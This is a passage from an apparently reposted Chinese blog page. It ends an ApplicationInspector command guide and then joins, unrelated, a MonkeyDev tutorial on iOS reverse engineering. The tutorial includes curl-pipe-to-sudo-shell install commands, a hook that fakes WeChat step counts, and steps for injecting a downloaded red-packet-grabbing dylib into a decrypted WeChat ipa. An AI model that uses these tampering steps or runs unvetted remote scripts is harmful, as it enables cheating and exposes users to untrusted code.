  -t, --test-type               Test to perform [rulespresent|rulesnotpresent].  Default = rulespresent
  -r, --custom-rules-path       Custom rules path 
  -i, --ignore-default-rules    Ignore default rules bundled with application.  Default = true
  -o, --output-file-path        Path to output file
  -x, --console-verbosity       Console verbosity [high|medium|low].  Default = medium
  -l, --log-file-path           Log file path
  -v, --log-file-level          Log file level

使用下列命令即可查看目标项目中是否存在某规则集:

dotnet AppInspector.dll tagtest -s /home/user/project1 -r /home/user/myrules.json

基本使用1:

dotnet AppInspector.dll tagtest -s /home/user/project1 -r /home/user/myrules.json -t rulespresent

基本使用2:

dotnet AppInspector.dll tagtest -s /home/user/project1 -r /home/user/myrules.json -t rulesnotpresent

ExportTags命令

该命令可以输出指定标签的规则集模式:

  Usage: dotnet AppInspector.dll exporttags [arguments] [options]

  Arguments:
  -r, --custom-rules-path       Custom rules path
  -i, --ignore-default-rules    Ignore default rules bundled with application.  Default = false
  -o, --output-file-path        Path to output file
  -x, --console-verbosity       Console verbosity [high|medium|low].  Default = medium

输出默认规则标签至终端:

dotnet AppInspector.dll exporttags

使用输出文件:

dotnet AppInspector.dll exporttags -o /home/user/myproject/exportags.txt

使用自定义规则以及输出文件:

dotnet AppInspector.dll exporttags -r /home/user/myproject/customrules -o /hom/user/myproject/exportags.txt

Verify命令

该命令可以验证规则集是否兼容,并保证导入和分析时不会发生错误:

  Usage: dotnet AppInspector.dll verifyrules [arguments]

  Arguments:
  -r, --custom-rules-path       Custom rules path
  -i, --ignore-default-rules    Ignore default rules bundled with application.  Default = false
  -o, --output-file-path        Path to output file
  -x, --console-verbosity       Console verbosity [high|medium|low].  Default = medium.

验证默认规则:

dotnet AppInspector.dll verifyrules

使用自定义规则:

dotnet AppInspector.dll verifyrules -r /home/user/myproject/customrules -i

项目地址

ApplicationInspector:【GitHub传送门

参考资料

1、https://github.com/Microsoft/ApplicationInspector/wiki

* 参考来源:microsoft,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:ApplicationInspector:一款功能强大的软件源代码分析与审计工具

初识MonkeyDev

一、前言

过年在家无聊,原本打算装个抢红包插件发笔小横财,却掉进了很多坑,折腾损失了不少(时间和精力)红包。顺便学习了下猴神MonkeyDev的使用。

二、MonkeyDev介绍

iOSOpenDev的升级版,非越狱插件开发集成神器。

1.可以使用Xcode开发CaptainHook TweakLogos Tweak和命令行工具,在越狱机器开发插件,这是原来的iOSOpenDev功能的迁移和改进。

2.只需拖入一个砸壳应用,即可自动集成class-dumprestore-symbolRevealCycript和注入的动态库并重签名安装到非越狱机器。

3.支持调试自己编写的动态库和第三方App

4.支持通过CocoaPods第三方应用集成SDK以及非越狱插件,简单来说就是通过CocoaPods建造了一个非越狱插件商店。

相关链接monkeydev文档说明:https://monkeydev.org/

三、MonkeyDev插件的安装

这里给出官方环境要求和安装步骤:环境要求

1、 安装最新的theos

sudo git clone --recursive https://github.com/theos/theos.git /opt/theos

2、 安装ldid(如安装theos过程安装了ldid,跳过)

brew install ldid

3、 配置免密码登录越狱设备(如果没有越狱设备,跳过)

ssh-keygen -t rsa -P ''
ssh-copy-id -i /Users/username/.ssh/id_rsa root@ip

或者安装sshpass自己的设置密码:

brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb
  • 注:Mac环境git clone提速
  • 修改https方式git clone配置 (需根据ss代理端口号而定)
vim ~/.gitconfig

[http]
    postBuffer = 524288000
    proxy = socks5://127.0.0.1:1086
[https]
    proxy = socks5://127.0.0.1:1086
  • 或者用命令行修改配置
git config --global http.proxy 'socks5://127.0.0.1:1086'
git config --global https.proxy 'socks5://127.0.0.1:1086'

安装1、 通过以下命令选择指定的Xcode进行安装:

sudo xcode-select -s /Applications/Xcode-beta.app

2、 默认安装的Xcode为:

xcode-select -p

3、 执行安装命令:

sudo /bin/sh -c "$(curl -fsSL https://raw.githubusercontent.com/AloneMonkey/MonkeyDev/master/bin/md-install)"

4、 卸载:

sudo /bin/sh -c "$(curl -fsSL https://raw.githubusercontent.com/AloneMonkey/MonkeyDev/master/bin/md-uninstall)"

5、 如果没有发布特殊说明,使用如下命令更新即可:

sudo /bin/sh -c "$(curl -fsSL https://raw.githubusercontent.com/AloneMonkey/MonkeyDev/master/bin/md-update)"

安装/更新之后重启下Xcode再新建项目。

四、MonkeyApp的使用

主要介绍MonkeyDev的一步集成非越狱调试。

创建项目

安装完成之后,打开Xcode,单击FileNewProject…,选择iOS滑动到最下方可以看到MonkeyDev提供的模块如下图,选择相应的项目类型,就可以创建对应的项目。

初识MonkeyDev点击创建MonkeyAPP,然后会自动生成相关文件如下图:初识MonkeyDev

项目结构包含以下部分:

put ipa or app here:将需要分析的解密后的App或者ipa文件放到该目录下面。

WeChatDemoDylib这个是将被注入目标App的动态库,需要hook的代码可以在WeChatDemoDylib.m文件里面写,支持OC runtimeHOOK,C函数的fishhook

WeChatDemoDylib.xm:支持用Logos语法编写hook代码。

WeChatDemoDylib.m:可以在该文件中编写注人的hook代码。

AntiAntiDebug:里面是反反调试的代码.

fishhook:自动集成的fishhook模块。

常用的logos语法

官方介绍http://iphonedevwiki.net/index.php/Logos

1、%hook指定需要hook的类名

%hook SBApplicationController
-(void)uninstallApplication:(SBApplication *)application {
    NSLog(@"Hey, we're hooking uninstallApplication:!");
    %orig; // Call the original implementation of this method
    return;
}
%end

2、%new该指令用来给指定的class添加一个新的函数

%new
-(void)newMethod:(NSString*) output{
    NSLog(@"This is a new method : %@", output);
}

3、%orig调用原始的挂钩方法。

%orig 
%orig (arg1 , … )

4、%group用于条件初始化或%hook分组

%group iOS8
%hook IOS8_SPECIFIC_CLASS
    // your code here
%end // end hook
%end // end group ios8

%group iOS9
%hook IOS9_SPECIFIC_CLASS
    // your code here
%end // end hook
%end // end group ios9

%ctor {
    if (kCFCoreFoundationVersionNumber > 1200) {
        %init(iOS9);
    } else {
        %init(iOS8);
    }
}

五、查找定位微信登录按钮

pp助手下载的解密后的ipa放入targetapp文件中,通过monkey工程的图层调试发现(Debug > View Debugging > Capture View Hierarchy)为灰色无法选择。

初识MonkeyDev

故使用FLEXLoader定位APP登录按钮:

FLEXLoader下载及使用相关链接:https://github.com/buginux/FLEXLoader

初识MonkeyDev选择登录按钮后,查看views,点击查看方法详情。初识MonkeyDev

然后定位到了登录按钮的方法onFirstViewLogin和该方法所在的类WCAccountLoginControlLogic

编写相关代码监听登录按钮:

初识MonkeyDev

六、修改微信步数

通过搜索发现使用MonkeyDev插件修改微信步数的代码如下:

#import <UIKit/UIKit.h>

%hook WCDeviceStepObject
- (int)m7StepCount {
    return 88888;
}
%end

初识MonkeyDev

七、微信抢红包插件

找了两款自动抢红包插件,分别是yahibo的源码和清水师傅打包好的dylib,测试发现在最新版微信(7.0.8)都可以正常使用。 初识MonkeyDev 清水师傅的功能较多,并且使用和安装方便快捷。 初识MonkeyDev

注入重打包ipa文件

以清水师傅打包好的dylib为例,在非越狱手机下的安装方法如下。

相关链接:https://qiita.com/shimizukawasaki/items/d8d01e30a8f67da68ea1

1、使用PP助手下载越狱应用里的VX(该区的ipa均为砸壳后的文件) 初识MonkeyDev

2、下载一键注入工具: 初识MonkeyDev选好对应路径,将下载的砸壳后的ipa文件和dylib文件进行重打包。

下载地址:http://www.iosre.com/t/ipa-ipa/15494

将ipa安装到非越狱手机

先说下踩过的2个坑吧

使用Impactor安装

坑一:ipa文件拖入Impactor,输入APPLE ID帐号与密码后出现了各种报错提示,关闭了苹果双重认证,重新申请了apple id,换win系统等等,最后一直没安装成功,放弃了。

初识MonkeyDev

相关链接

http://www.cydiaimpactor.com/

https://www.52pojie.cn/thread-946944-1-1.html

使用AltDeploy安装

坑二:google发现有说AltDeploy简单快捷完全取代了Impactor,然后下载使用发现最后出现应用名错误,找到issues发现不少人遇到此问题,解决方法说更换1.0版本,最后发现AltDeploy在安装ipa过程中莫名崩溃,也放弃了。

初识MonkeyDev

相关链接

https://mrmad.com.tw/altdeploy

https://github.com/pixelomer/AltDeploy

使用MonkeyDev安装

最后还是使用MonkeyDev来安装注入好的ipa文件。1、打开Xcode,单击FileNewProject…,选择iOS滑动到最下方可以看到MonkeyDev点击创建MonkeyAPP,将注入好的ipa文件放入TargetApp目录内。

初识MonkeyDev

2、在Signing&Capabilities内设置登录自己的APPLE ID

初识MonkeyDev3、将非越狱手机连接mac,选择需要安装的手机设备,然后按运行。

初识MonkeyDev4、点击手机设置通用描述文件与设备管理,将开发者应用Apple Development:your AppleID设置为信任

初识MonkeyDev5、打开微信设置清水必杀技即可启用抢红包防撤回和修改微信步数等功能。

初识MonkeyDev6、可以使用ida来修改字符串达到个人DIY设置

初识MonkeyDev

八、总结

通过学习和实践发现MonkeyDev不但可以在非越狱的手机上进行逆向分析,还能自动完成各种准备工作,并且能联动Xcode自身的调试功能。1、源码及DYLIB下载地址:链接:https://pan.baidu.com/s/1pohumAKmfxt72bBJMBOUNQ 密码:zhte2、猴神的私有CocoaPods仓库 https://github.com/AloneMonkey/MonkeyDevSpecs 有一些网友上传的插件,也可以学习和使用。

九、参考链接

https://github.com/AloneMonkey/MonkeyDev/wiki/

https://juejin.im/post/5da82cf1e51d4524e207fc39#heading-14

https://mp.weixin.qq.com/s/XArk877Av3RvYhrwfhzKsA

https://juejin.im/post/5e1aa4d951882520a167d8ee#heading-3

https://qiita.com/shimizukawasaki/items/d8d01e30a8f67da68ea1

https://github.com/zhengmin1989/MyArticles

*本文原创作者:tales,本文属于FreeBuf原创奖励计划,未经许可禁止转载

本文来源于互联网:初识MonkeyDev